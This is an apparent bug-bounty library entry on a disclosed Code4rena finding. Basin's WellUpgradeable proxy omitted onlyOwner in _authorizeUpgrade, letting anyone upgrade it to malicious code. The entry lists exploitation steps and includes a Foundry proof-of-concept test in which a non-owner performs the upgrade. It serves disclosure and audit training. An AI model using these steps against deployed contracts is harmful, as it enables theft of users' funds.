# WellUpgradeable can be upgraded by anyone

WellUpgradeable's _authorizeUpgrade lacked onlyOwner, letting any address upgrade the proxy to a malicious implementation and drain well funds.

- Payout: Audit contest
- Severity: high
- Program: Basin
- Found by: zanderbyte
- Disclosed: 2024-09-03
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-07-basin-findings/issues/52
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-basin%3AH-01
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:auth-bypass

**Target:** WellUpgradeable UUPS proxy contract
**Root cause:** _authorizeUpgrade was overridden with delegatecall/proxy/aquifer/ERC-1967 checks but omitted the onlyOwner modifier, so upgradeTo/upgradeToAndCall were callable by any address.
**Steps:**
1. Deploy a malicious implementation contract that is registered as a well in the Aquifer (registration is unrestricted).
2. Call `WellUpgradeable(proxy).upgradeTo(maliciousImpl)` from any non-owner address.
3. Observe `getImplementation()` returns the malicious implementation, confirming unauthorized upgrade.
**How found:** Code review against OpenZeppelin UUPSUpgradeable docs: noticed _authorizeUpgrade was overridden with custom checks but lacked the required onlyOwner access restriction.
**Exploitation:** Attacker registers a malicious implementation in the unrestricted Aquifer, then calls upgradeTo on any WellUpgradeable proxy as an arbitrary address; the proxy delegatecalls attacker code, enabling theft of all well funds.
**Escalation:** Because Aquifer well registration is permissionless, any well can be pointed at an attacker-controlled implementation, leading to total fund loss across all deployed wells.
**Insight:** When a contract overrides _authorizeUpgrade with custom validation, verify an explicit caller restriction (onlyOwner/role) is still present—custom checks on the new implementation do not authenticate the caller.

## Proof of concept (copied exactly from the original report)

**Test upgrading WellUpgradeable as non-owner**

```
function testUpgradeToNewImplementationNotOwner() public {
        IERC20[] memory tokens = new IERC20[](2);
        tokens[0] = new MockToken("BEAN", "BEAN", 6);
        tokens[1] = new MockToken("WETH", "WETH", 18);
        Call memory wellFunction = Call(wellFunctionAddress, abi.encode("2"));
        Call[] memory pumps = new Call[](1);
        pumps[0] = Call(mockPumpAddress, abi.encode("2"));
        // create new mock Well Implementation:
        address wellImpl = address(new MockWellUpgradeable());
        WellUpgradeable well2 =
            encodeAndBoreWellUpgradeable(aquifer, wellImpl, tokens, wellFunction, pumps, bytes32(abi.encode("2")));
        vm.label(address(well2), "upgradeableWell2");
        
        address user = makeAddr("user");
        vm.startPrank(user);
        WellUpgradeable proxy = WellUpgradeable(payable(proxyAddress));
        proxy.upgradeTo(address(well2));

        // verify proxy was upgraded.
        assertEq(address(well2), MockWellUpgradeable(proxyAddress).getImplementation());
        vm.stopPrank();
    }
```

